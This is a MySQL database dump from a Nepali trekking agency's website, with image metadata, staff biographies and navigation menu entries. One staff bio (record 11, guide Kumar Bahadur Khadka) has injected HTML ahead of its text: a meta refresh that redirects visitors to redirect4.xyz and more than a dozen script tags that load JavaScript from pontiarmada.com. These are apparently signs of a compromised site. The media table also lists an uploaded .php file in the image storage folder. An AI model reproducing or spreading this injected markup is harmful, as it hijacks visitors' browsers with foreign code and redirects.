(223, 'Tent peak 1', 'tent-peak-1', 'jpg', '/storage/tent-peak-1.jpg', 'Tent peak 1', '1080', '1920', '406KB', '2023-09-19 11:01:45', '2023-09-19 11:01:45', '2023-09-19 11:01:45'),
(224, 'Tent Peak 2', 'tent-peak-2', 'jpg', '/storage/tent-peak-2.jpg', 'Tent Peak 2', '515', '640', '71KB', '2023-09-19 11:01:49', '2023-09-19 11:01:49', '2023-09-19 11:01:49'),
(225, 'Tent Peak 3', 'tent-peak-3', 'PNG', '/storage/tent-peak-3.PNG', 'Tent Peak 3', '750', '416', '507KB', '2023-09-19 11:01:57', '2023-09-19 11:01:57', '2023-09-19 11:01:57'),
(226, 'Tent Peak 4', 'tent-peak-4', 'PNG', '/storage/tent-peak-4.PNG', 'Tent Peak 4', '755', '444', '562KB', '2023-09-19 11:02:03', '2023-09-19 11:02:03', '2023-09-19 11:02:03'),
(227, 'Tent peak 5', 'tent-peak-5', 'PNG', '/storage/tent-peak-5.PNG', 'Tent peak 5', '743', '550', '972KB', '2023-09-19 11:02:09', '2023-09-19 11:02:09', '2023-09-19 11:02:09'),
(228, 'Yala Peak 1', 'yala-peak-1', 'jpg', '/storage/yala-peak-1.jpg', 'Yala Peak 1', '768', '960', '83KB', '2023-09-20 05:16:47', '2023-09-20 05:16:47', '2023-09-20 05:16:47'),
(229, 'Yala Peak 2', 'yala-peak-2', 'jpg', '/storage/yala-peak-2.jpg', 'Yala Peak 2', '1080', '1320', '304KB', '2023-09-20 05:16:53', '2023-09-20 05:16:53', '2023-09-20 05:16:53'),
(230, 'Yala Peak 3', 'yala-peak-3', 'PNG', '/storage/yala-peak-3.PNG', 'Yala Peak 3', '760', '472', '830KB', '2023-09-20 05:16:57', '2023-09-20 05:16:57', '2023-09-20 05:16:57'),
(231, 'Yala Peak 4', 'yala-peak-4', 'PNG', '/storage/yala-peak-4.PNG', 'Yala Peak 4', '753', '397', '641KB', '2023-09-20 05:17:00', '2023-09-20 05:17:00', '2023-09-20 05:17:00'),
(232, 'Yala Peak 5', 'yala-peak-5', 'PNG', '/storage/yala-peak-5.PNG', 'Yala Peak 5', '717', '443', '801KB', '2023-09-20 05:17:05', '2023-09-20 05:17:05', '2023-09-20 05:17:05'),
(233, 'Bungy 02', 'bungy-02', 'jpg', '/storage/bungy-02.jpg', 'Bungy 02', '1278', '1920', '446KB', '2023-09-22 07:42:22', '2023-09-22 07:42:22', '2023-09-22 07:42:22'),
(234, 'Bungee 05', 'bungee-05', 'webp', '/storage/bungee-05.webp', 'Bungee 05', '900', '599', '228KB', '2023-09-22 07:48:05', '2023-09-22 07:48:05', '2023-09-22 07:48:05'),
(235, 'Bungy Jump 01', 'bungy-jump-01', 'jpg', '/storage/bungy-jump-01.jpg', 'Bungy Jump 01', '957', '960', '206KB', '2023-09-22 07:48:10', '2023-09-22 07:48:10', '2023-09-22 07:48:10'),
(236, 'Bungy 03', 'bungy-03', 'jpg', '/storage/bungy-03.jpg', 'Bungy 03', '1024', '576', '116KB', '2023-09-22 07:48:18', '2023-09-22 07:48:18', '2023-09-22 07:48:18'),
(237, 'Bungy 04', 'bungy-04', 'jpg', '/storage/bungy-04.jpg', 'Bungy 04', '745', '420', '84KB', '2023-09-22 07:48:23', '2023-09-22 07:48:23', '2023-09-22 07:48:23'),
(238, 'Canyoning 04', 'canyoning-04', 'jpg', '/storage/canyoning-04.jpg', 'Canyoning 04', '275', '183', '11KB', '2023-09-22 09:32:39', '2023-09-22 09:32:39', '2023-09-22 09:32:39'),
(239, 'Canyoning 03', 'canyoning-03', 'png', '/storage/canyoning-03.png', 'Canyoning 03', '660', '350', '630KB', '2023-09-22 09:32:50', '2023-09-22 09:32:50', '2023-09-22 09:32:50'),
(240, 'Canyoning 05', 'canyoning-05', 'jpg', '/storage/canyoning-05.jpg', 'Canyoning 05', '194', '259', '12KB', '2023-09-22 09:35:40', '2023-09-22 09:35:40', '2023-09-22 09:35:40'),
(241, 'Jalbire 02', 'jalbire-02', 'jpg', '/storage/jalbire-02.jpg', 'Jalbire 02', '960', '1149', '229KB', '2023-09-22 09:35:47', '2023-09-22 09:35:47', '2023-09-22 09:35:47'),
(242, 'Canyoning 03-20230922093553', 'canyoning-03-20230922093553', 'jpg', '/storage/canyoning-03-20230922093553.jpg', 'Canyoning 03-20230922093553', '640', '480', '64KB', '2023-09-22 09:35:54', '2023-09-22 09:35:54', '2023-09-22 09:35:54'),
(243, 'Paragliding 01', 'paragliding-01', 'jpg', '/storage/paragliding-01.jpg', 'Paragliding 01', '700', '700', '105KB', '2023-09-22 09:48:31', '2023-09-22 09:48:31', '2023-09-22 09:48:31'),
(244, 'Paragldiing 02', 'paragldiing-02', 'jpg', '/storage/paragldiing-02.jpg', 'Paragldiing 02', '700', '400', '58KB', '2023-09-22 09:48:37', '2023-09-22 09:48:37', '2023-09-22 09:48:37'),
(245, 'Paragliding 03', 'paragliding-03', 'jpg', '/storage/paragliding-03.jpg', 'Paragliding 03', '720', '480', '88KB', '2023-09-22 09:48:43', '2023-09-22 09:48:43', '2023-09-22 09:48:43'),
(246, 'paragliding 04', 'paragliding-04', 'jpg', '/storage/paragliding-04.jpg', 'paragliding 04', '1200', '858', '99KB', '2023-09-22 09:48:50', '2023-09-22 09:48:50', '2023-09-22 09:48:50'),
(247, 'Paragliding 05', 'paragliding-05', 'jpg', '/storage/paragliding-05.jpg', 'Paragliding 05', '1024', '682', '220KB', '2023-09-22 09:48:55', '2023-09-22 09:48:55', '2023-09-22 09:48:55'),
(248, 'Dhaulagiri 01', 'dhaulagiri-01', 'jpg', '/storage/dhaulagiri-01.jpg', 'Dhaulagiri 01', '800', '420', '79KB', '2023-10-10 04:41:29', '2023-10-10 04:41:29', '2023-10-10 04:41:29'),
(249, 'Dhaulagiri 02', 'dhaulagiri-02', 'jpg', '/storage/dhaulagiri-02.jpg', 'Dhaulagiri 02', '1200', '895', '657KB', '2023-10-10 04:41:37', '2023-10-10 04:41:37', '2023-10-10 04:41:37');
INSERT INTO `media` (`id`, `name`, `url`, `extention`, `fullurl`, `alt`, `width`, `height`, `size`, `date`, `created_at`, `updated_at`) VALUES
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(251, 'Dhaulagiri 04', 'dhaulagiri-04', 'webp', '/storage/dhaulagiri-04.webp', 'Dhaulagiri 04', '819', '460', '31KB', '2023-10-10 04:41:55', '2023-10-10 04:41:55', '2023-10-10 04:41:55'),
(252, 'Dhaulagiri 05', 'dhaulagiri-05', 'webp', '/storage/dhaulagiri-05.webp', 'Dhaulagiri 05', '1200', '799', '164KB', '2023-10-10 04:42:03', '2023-10-10 04:42:03', '2023-10-10 04:42:03'),
(253, 'Lower Dolpo 2', 'lower-dolpo-2', 'jpg', '/storage/lower-dolpo-2.jpg', 'Lower Dolpo 2', '1080', '1080', '164KB', '2023-10-10 04:59:25', '2023-10-10 04:59:25', '2023-10-10 04:59:25'),
(254, 'Lower Dolpo 3', 'lower-dolpo-3', 'PNG', '/storage/lower-dolpo-3.PNG', 'Lower Dolpo 3', '800', '428', '903KB', '2023-10-10 04:59:37', '2023-10-10 04:59:37', '2023-10-10 04:59:37'),
(255, 'Lower Dolpo 4', 'lower-dolpo-4', 'PNG', '/storage/lower-dolpo-4.PNG', 'Lower Dolpo 4', '797', '536', '1121KB', '2023-10-10 04:59:45', '2023-10-10 04:59:45', '2023-10-10 04:59:45'),
(256, 'Lower Dolpo 1', 'lower-dolpo-1', 'JPG', '/storage/lower-dolpo-1.JPG', 'Lower Dolpo 1', '6000', '4000', '2435KB', '2023-10-10 04:59:48', '2023-10-10 04:59:48', '2023-10-10 04:59:48'),
(257, 'Lower Dolpo 5', 'lower-dolpo-5', 'PNG', '/storage/lower-dolpo-5.PNG', 'Lower Dolpo 5', '800', '442', '955KB', '2023-10-10 04:59:51', '2023-10-10 04:59:51', '2023-10-10 04:59:51'),
(258, 'Dolpo 1', 'dolpo-1', 'JPG', '/storage/dolpo-1.JPG', 'Dolpo 1', '6000', '4000', '3154KB', '2023-10-10 06:12:28', '2023-10-10 06:12:28', '2023-10-10 06:12:28'),
(259, 'Dolpo 5', 'dolpo-5', 'jpg', '/storage/dolpo-5.jpg', 'Dolpo 5', '1024', '661', '136KB', '2023-10-10 06:12:29', '2023-10-10 06:12:29', '2023-10-10 06:12:29'),
(260, 'Dolpo 4', 'dolpo-4', 'JPG', '/storage/dolpo-4.JPG', 'Dolpo 4', '6000', '4000', '2715KB', '2023-10-10 06:12:41', '2023-10-10 06:12:41', '2023-10-10 06:12:41'),
(261, 'Dolpo3', 'dolpo3', 'jpg', '/storage/dolpo3.jpg', 'Dolpo3', '2448', '1365', '316KB', '2023-10-10 06:12:46', '2023-10-10 06:12:46', '2023-10-10 06:12:46'),
(262, 'Dolpo2', 'dolpo2', 'JPG', '/storage/dolpo2.JPG', 'Dolpo2', '6000', '4000', '2789KB', '2023-10-10 06:12:58', '2023-10-10 06:12:58', '2023-10-10 06:12:58'),
(263, 'teams', 'teams', 'jpg', '/storage/teams.jpg', 'teams', '720', '960', '75KB', '2023-10-12 08:59:19', '2023-10-12 08:59:19', '2023-10-12 08:59:19'),
(264, 'teams-3', 'teams-3', 'jpg', '/storage/teams-3.jpg', 'teams-3', '960', '954', '78KB', '2023-10-12 08:59:20', '2023-10-12 08:59:20', '2023-10-12 08:59:20'),
(265, 'teams-2', 'teams-2', 'jpg', '/storage/teams-2.jpg', 'teams-2', '852', '852', '46KB', '2023-10-12 08:59:21', '2023-10-12 08:59:21', '2023-10-12 08:59:21'),
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(276, 'd016a073-f297-4d0f-8191-96b6acd888a9', 'd016a073-f297-4d0f-8191-96b6acd888a9', 'jfif', '/storage/d016a073-f297-4d0f-8191-96b6acd888a9.jfif', 'd016a073-f297-4d0f-8191-96b6acd888a9', '', '', '441KB', '2024-08-16 15:25:04', '2024-08-16 15:25:04', '2024-08-16 15:25:04'),
(277, '5ce07e5d-dab1-4111-a5d2-e997470239a7', '5ce07e5d-dab1-4111-a5d2-e997470239a7', 'jfif', '/storage/5ce07e5d-dab1-4111-a5d2-e997470239a7.jfif', '5ce07e5d-dab1-4111-a5d2-e997470239a7', '', '', '312KB', '2024-08-16 15:25:04', '2024-08-16 15:25:04', '2024-08-16 15:25:04'),
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(280, 'Ghar Gumba-20240828153123', 'ghar-gumba-20240828153123', 'jfif', '/storage/ghar-gumba-20240828153123.jfif', 'Ghar Gumba-20240828153123', '', '', '271KB', '2024-08-28 15:31:23', '2024-08-28 15:31:23', '2024-08-28 15:31:23'),
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(282, '3bb07e3f-9246-4681-b1e1-3fe9804ab579', '3bb07e3f-9246-4681-b1e1-3fe9804ab579', 'jfif', '/storage/3bb07e3f-9246-4681-b1e1-3fe9804ab579.jfif', '3bb07e3f-9246-4681-b1e1-3fe9804ab579', '', '', '256KB', '2024-09-11 02:34:46', '2024-09-11 02:34:46', '2024-09-11 02:34:46'),
(283, 'aimgroot', 'aimgroot', 'jpg', '/storage/aimgroot.jpg', 'aimgroot', '259', '194', '7KB', '2024-11-09 12:49:08', '2024-11-09 12:49:08', '2024-11-09 12:49:08'),
(284, 'aimgroot-20241109125422', 'aimgroot-20241109125422', 'php', '/storage/aimgroot-20241109125422.php', 'aimgroot-20241109125422', '', '', '7KB', '2024-11-09 12:54:22', '2024-11-09 12:54:22', '2024-11-09 12:54:22'),
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-- --------------------------------------------------------

--
-- Table structure for table `members`
--

CREATE TABLE `members` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `name` varchar(255) DEFAULT NULL,
  `image` varchar(255) DEFAULT NULL,
  `email` varchar(255) DEFAULT NULL,
  `phone` varchar(255) DEFAULT NULL,
  `position` varchar(255) DEFAULT NULL,
  `resources` varchar(255) DEFAULT NULL,
  `location` varchar(255) DEFAULT NULL,
  `description` longtext DEFAULT NULL,
  `order` varchar(255) DEFAULT NULL,
  `status` tinyint(1) NOT NULL DEFAULT 0,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `members`
--

INSERT INTO `members` (`id`, `name`, `image`, `email`, `phone`, `position`, `resources`, `location`, `description`, `order`, `status`, `created_at`, `updated_at`) VALUES
(3, 'BN Dhakal', '43', NULL, NULL, 'Founder/CEO', NULL, NULL, '<p>Mr. B.N. Dhakal is well-known name in Tourism Industry of Nepal. He is an enthusiastic person has very long history in tourism industry of Nepal since 2001, keenly devoted to eco-tourism. He has long contribution in tourism having own tourism administrative center such as Adventure Planner and Samsara Resort Hotel. He is successively established this company with pioneering concept, providing international level of services with brilliant management. All people from tourism field knows him because he is successful business man and having many year experience in trekking and travel industry of Nepal.&nbsp;</p><p>&nbsp;</p>', NULL, 1, '2023-06-27 17:27:58', '2023-07-03 08:09:14'),
(4, 'Narayan Khanal', '44', NULL, NULL, 'Managing Director', NULL, NULL, '<p>Mr. Narayan khanal is the well-recognized, young and educated name in Nepal tourism industry, who was born in Manaslu region of Gorkha district. He has finished his master degree in English literature having good skill of communicating with clients. He gives instruction to his staff by providing innovative and productive ideas and motivate them. He helps to juniors and respects to seniors. He is a successful person in trekking field of Nepal. He has very good connection with people from Israel, Ukraine, Russia, America, Canada, Germany, Norway, Australia, and more European, American and Asian countries. He is a successful tourism operator in Nepal.&nbsp;</p>', NULL, 1, '2023-06-27 17:29:51', '2023-07-24 08:31:01'),
(5, 'Elena Gorshkova', '45', NULL, NULL, 'Director of Sales and Marketing', NULL, NULL, '<p>Ms. Elena Gorshkova has a higher education in management and marketing. In tourism since 2001. More than 20 years of experience of work in host travel companies in Nepal, Tibet, Bhutan. Guru for the development of individual, group, educational, spiritual tours. All tours are author\'s and original, the logistics of the tours are based on deep personal experience. Speaks Russian and English. High communication skills, self-responsibility. Elena\'s creative approach to organizing tours will make your trip unforgettable. Each of our guests rediscovers himself, thanks to the amazing routes in the Himalayas.</p>', NULL, 1, '2023-06-27 17:32:19', '2023-07-03 08:11:08'),
(6, 'Niraj Dhakal', '46', NULL, NULL, 'Manager', NULL, NULL, '<p>Mr. Niraj Dhakal was born in Dhading district of Jyamrung Village and he is working as Manager of our company. He believes in hard working and due to his effort he became successful Manager of Adventure Planner who speaks English very well with high level of communication skill with our clients. He worked as travel agent from Australia since many years and he spend half time in Nepal and half time in Australia because he need to look his travel appointment in Australia too. Niraj is very young guy having innovating concept of providing international level of service to our respected guests. Due to his effort, Adventure Planner has become popular trekking agency in Nepal and we are also very glad to get such as good Manager in our company.&nbsp;</p>', NULL, 1, '2023-06-27 17:50:15', '2023-07-24 08:35:28'),
(7, 'Hari Bhatta', '75', NULL, NULL, 'Assistant Manager', NULL, NULL, '<p>Mr. Hari Bhatta was born in Nuwakot district of Charghar village; working Assistant Manager in this company. His working experience presents the successive and brilliant guest relationship for the company. Due to his good connection with guest; we became able to be foremost trekking agent in Nepal Tourism Agency. He is very hard worker, punctuality and friendly made him successful in duty and responsibility. He is a perfect assistant Manager with good skill of communicating guest in our company. Sometimes, he goes to Mountain as a trekking guide because he loves mountain and hiking. He likes outdoor activities such as trekking, tour, hiking, jungle safari, rafting and many more.&nbsp;</p><p>&nbsp;</p>', NULL, 1, '2023-06-27 17:53:25', '2023-07-07 05:28:21'),
(8, 'Asmita Devkota', '48', NULL, NULL, 'Accountant', NULL, NULL, '<p>Ms. Asmita Devkota was born in Gorkha district of Palungtar village. She is studying Bachelor second year in Manamohan Memorial College having subject of Managemnt and working as Accountant in this company Adventure Planner. She is very responsible and believable person in financial aspects as well as bank details having strong dedication and enthusiasm. She knows well about detriment and benefits of economy. She is a very punctual in her work and keep record of all benefits and expenses of Company. We keep trust with her financial aspects with all details payment. &nbsp;She is also very happy to work as Accountant with Adventure Planner and she is very punctual in work arriving in office on time. She is our good Accountant.&nbsp;</p>', NULL, 1, '2023-06-27 17:57:04', '2023-07-24 08:34:34'),
(9, 'Moti Khanal', '49', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>Mr. Moti was born in remote area in Arupokhari village of Gorkha District. Moti his name symbolizes Gold; really we are very happy to get such a good Guide Moti like Gold. He is working in this company since eight years with his wonderful services and extensive experiences. He is very honest to handle the guest and group having knowledge of Tibetan Buddhism. We have his positive comments and feedbacks written by trekkers. He has finished his Bachelor Degree in commerce from Public Youth Campus. He is our reputed trekking guide working since 8 years tourism industry of Nepal. He is very young and he has no weakness while he makes trekking to high Himalayas.&nbsp;</p>', NULL, 1, '2023-06-28 06:50:29', '2023-07-24 08:38:58'),
(10, 'Ang Dawa Sherpa', '50', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>Mr. Sherpa was born in Everest region of solukhumbu district having 20 years\' experience during trekking filed. He has long services not only in high mountain of Nepal but also in north part of India, Bhutan &amp; Tibet. He has very fluent English having additional knowledge of Buddhism. He says “I will very happy when I walk in high elevation rather low altitude.” Everybody tell him “Sardar”/Leader due to his long experience and ability to control group during trekking. He says, while trekking in the route of high Himalayas he feels relax and comfort. He does not like to make hiking in lower region; he loves to ascend the Mountain.&nbsp;</p>', NULL, 1, '2023-06-28 06:54:46', '2023-07-24 08:37:53'),
(11, 'Kumar Bahadur Khadka', '51', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p class=\"MsoNormal\" style=\"text-align:justify;\"><script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script><meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script> <span style=\"font-size:12.0pt;\"><span style=\"line-height:107%;\">Mr. Kumar Bahadur Khada was born in Solukhumbu region of eastern Nepal where top of the world is located. He has very long experience in trekking industry of Nepal as since 2001 Mr. Khadka is working as trekking guide in Himalaya. Now you can imagine how many times he will be in Everest Base Camp. He has been more than 100 times in Everest Base Camp during his work of trekking guide and even equally been in other trekking routes of Nepal. He is very believable trekking guide and when problem occurs he himself solves the problem and make clients happy. We are happy to find such as good trekking guide in Adventure Planner Pvt. Ltd.&nbsp;</span></span><o:p></o:p></p>', NULL, 1, '2023-06-28 07:00:25', '2025-02-26 02:51:51'),
(12, 'Amrit Magar', '52', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>Mr. Amrit Magar was born in Solukhumbu region below Lukla as he is our trekking guide in Adventure Planner. He has also long experience of guiding in Himalaya region of Nepal. He is very kind, genuine, and cooperative person as he equally believe in work and duty. Duty and responsibility is the main goal in his life; that is why Mr. Amrit Magar is very successful trekking guide in tourism industry of Nepal. He is very well - disciplined during his working and all the time gives his time to the clients. He is very responsible person with less speaking but hard working.&nbsp;</p>', NULL, 1, '2023-06-28 07:03:03', '2023-07-24 08:40:57'),
(13, 'Devendra Lamichhane', '53', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"font-size:12.0pt;\"><span style=\"line-height:107%;\">Mr. Devendra Lamichhane was born in Gorkha district of Arutar village from where the trekking route of Manaslu begins. He is a very genuine, smiling, kind, helpful and hard worker and always make happy to his clients while trekking to Himalayan part of Nepal. He is newly elected a trekking guide in our agency though he has long experience of guiding in Himalayas such as Everest region, Annapurna region, Manaslu region and even more hidden trekking routes. He has finished his bachelor degree from Tribhuvan University of Nepal.</span></span><o:p></o:p></p>', NULL, 1, '2023-06-28 07:14:46', '2023-07-03 08:11:00'),
(14, 'Karma Sherpa', '55', NULL, NULL, 'Mountain Climbing Guide', NULL, NULL, '<p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"font-size:12.0pt;\"><span style=\"line-height:107%;\">Mr. Karma Sherpa is an experience Mountain Climbing guide who has been summited Mt. Everest five times; was born Solukhumbu region of eastern Nepal.</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; </span><span style=\"line-height:107%;\">Uncountable times, he has also climbed Mera Peak, Island Peak and Lobuche Peak and more white Himalayan Peaks of Nepal. He is very genuine, kind and believable person and dedication to his work; especially in climbing section, he is a Mountain Bird. He all the time make successful summit but due to unexpected weather and climber\'s difficulty situation, he change the mind and go for alternative way.&nbsp;</span></span><o:p></o:p></p>', NULL, 1, '2023-06-28 07:19:30', '2023-07-24 08:41:46'),
(15, 'Pol Bahadur Gurung', '173', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>Pol Bahadur Gurung was born in Dhading district of Ganga Jamuna village. He is a 15 years experienced trekking guide of Nepal; performing his talent and amazing skill with Adventure Planner. He has been not only in Everest Base Camp, Annapurna Base Camp and Manaslu region trek; he has almost finished all trekking routes of Nepal and he likes to make trekking in new route, hidden places and off the beaten path. During his good performing guidance, he has got very good reviews, comments and testimonials. We wish him success wherever he goes during his work and effort.&nbsp;</p>', NULL, 1, '2023-07-24 08:26:22', '2023-07-24 08:28:06'),
(16, 'Dhruba Bhatta', '265', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>Mr. Dhruab Bhatta was born in Sirankchwok village of Gorkha district of Nepal as it is the land of Manaslu. He is working in our company since many years as trekking guide. He is very honest, kind, helpful, and punctual in his work as he is senior and experienced trekking guide and always keep smiling in front of his clients. He makes clients happy and brief all things as it is necessary during his trekking. He is senior sardar of our company. He believes in quality effort that is why while trekking with Dhruba, clients have always positive review.</p>', NULL, 1, '2023-10-12 08:59:50', '2023-10-12 09:20:32'),
(17, 'Roshak Khanal', '263', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>A trekking guide is a person who is experienced and knowledgeable about the trails, terrain, and outdoor environments in a specific area, and they provide assistance and leadership to individuals or groups who want to go trekking or hiking. Mr. Roshak has all this innovation ideas while leading group to Himalayan region of Nepal. He was born in Arupokharai village of Gorkha district on the trekking trail to Manaslu. He is very young guide and he likes to hike in high altitude. Due to his trekking efforts, even in short time; he is being trust among his clients and company.</p>', NULL, 1, '2023-10-12 09:00:57', '2023-10-12 09:00:57'),
(18, 'Kishor Devkota', '264', NULL, NULL, 'Trekking Guide', NULL, NULL, '<p>A trekking guide is a person who provides assistance and expertise to individuals or groups interested in trekking or hiking in various natural environments, such as mountains, forests, deserts, or other remote areas. Trekking guides play a crucial role in ensuring the safety, enjoyment, and success of a trekking adventure. Mr. Kishor Devkota was born in Palungtar village of Gorkha district having good communicating skill of trekking region. He is also young and genuine trekking guide of Adventure Planner.</p>', NULL, 1, '2023-10-12 09:01:25', '2023-10-12 09:20:38');

-- --------------------------------------------------------

--
-- Table structure for table `menus`
--

CREATE TABLE `menus` (
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  `title` varchar(255) NOT NULL,
  `name` varchar(255) DEFAULT NULL,
  `slug` varchar(255) NOT NULL,
  `type` varchar(255) NOT NULL,
  `target` varchar(255) DEFAULT NULL,
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--
-- Dumping data for table `menus`
--

INSERT INTO `menus` (`id`, `title`, `name`, `slug`, `type`, `target`, `menu_id`, `created_at`, `updated_at`) VALUES
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(39, 'Sightseeing', NULL, '/activities/sightseeing', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(40, 'Adventurous Tour', NULL, '/activities/adventurous-tour', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(41, 'Wildlife Tour', NULL, '/activities/wildlife-tour', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(42, 'Expedition', NULL, '/activities/expedition', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(43, 'Peak Climbing', NULL, '/activities/peak-climbing', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(44, 'Spiritual Journey', NULL, '/activities/spiritual-journey', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
(45, 'Heli Tour', NULL, '/activities/heli-tour', 'activities', NULL, 2, '2023-06-18 09:06:53', NULL),
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(49, 'Bhutan', NULL, '/destinations/bhutan', 'destinations', NULL, 4, '2023-06-18 09:07:19', NULL),
(50, 'Tibet', NULL, '/destinations/tibet', 'destinations', NULL, 4, '2023-06-18 09:07:19', NULL),
(54, 'About Us', NULL, '/about-us', 'page', NULL, 5, '2023-06-20 06:05:34', NULL),
(55, 'Contact Us', NULL, '/contact-us', 'page', NULL, 5, '2023-06-20 06:05:34', NULL),
(56, 'Packages', NULL, '/packages', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(57, 'Activities', NULL, '/activities', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(58, 'Destinations', NULL, '/destinations', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(59, 'Blogs', NULL, '/blogs', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(60, 'Categories', NULL, '/categories', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(62, 'Teams', NULL, '/teams', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(63, 'Reviews', NULL, '/reviews', 'page', NULL, 5, '2023-06-20 06:05:35', NULL),
(83, 'Contact Us', NULL, '/contact-us', 'page', NULL, 6, '2023-12-24 07:47:39', NULL),
(84, 'Activities', NULL, '/activities', 'page', NULL, 6, '2023-12-24 07:47:39', NULL),
(85, 'Destinations', NULL, '/destinations', 'page', NULL, 6, '2023-12-24 07:47:39', NULL),
(86, 'Blogs', NULL, '/blogs', 'page', NULL, 6, '2023-12-24 07:47:39', NULL),
(87, 'Travel Info', NULL, '/travel-info', 'page', NULL, 6, '2023-12-24 07:47:39', NULL),
(88, 'Bhutan', NULL, '/destinations/bhutan', 'destinations', NULL, 6, '2023-12-24 07:47:47', NULL),
(89, 'Tibet', NULL, '/destinations/tibet', 'destinations', NULL, 6, '2023-12-24 07:47:47', NULL),
(90, 'Nepal', NULL, '/destinations/nepal', 'destinations', NULL, 6, '2023-12-24 07:47:47', NULL),
(91, 'Trekking & Hiking', NULL, '/activities/trekking-hiking', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(92, 'Sightseeing', NULL, '/activities/sightseeing', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(93, 'Adventurous Tour', NULL, '/activities/adventurous-tour', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(94, 'Wildlife Tour', NULL, '/activities/wildlife-tour', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(95, 'Expedition', NULL, '/activities/expedition', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(96, 'Peak Climbing', NULL, '/activities/peak-climbing', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(97, 'Spiritual Journey', NULL, '/activities/spiritual-journey', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(98, 'Heli Tour', NULL, '/activities/heli-tour', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(99, 'Day Tour', NULL, '/activities/day-tour', 'activities', NULL, 6, '2023-12-24 07:48:04', NULL),
(100, 'Why Adventure Planner', NULL, '/why-adventure-planner', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(101, 'Company Outline', NULL, '/company-outline', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(102, 'Responsible Travel', NULL, '/responsible-travel', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(103, 'Before Book The Trip', NULL, '/before-book-the-trip', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(104, 'Booking Terms', NULL, '/booking-terms', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(105, 'Legal Documents', NULL, '/legal-documents', 'post', NULL, 6, '2023-12-24 07:51:32', NULL),
(106, 'Nepal Trekking Routes', NULL, '#', 'custom', NULL, 6, '2023-12-24 07:54:24', NULL),
(107, 'Annapurna Region', NULL, '/destinations/annapurna-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(108, 'Everest Region', NULL, '/destinations/everest-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(109, 'Kanchenjunga Region', NULL, '/destinations/kanchenjunga-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(110, 'Langtang Region', NULL, '/destinations/langtang-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(111, 'Makalu Region', NULL, '/destinations/makalu-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(112, 'Manaslu Region', NULL, '/destinations/manaslu-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(113, 'Mustang Region', NULL, '/destinations/mustang-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
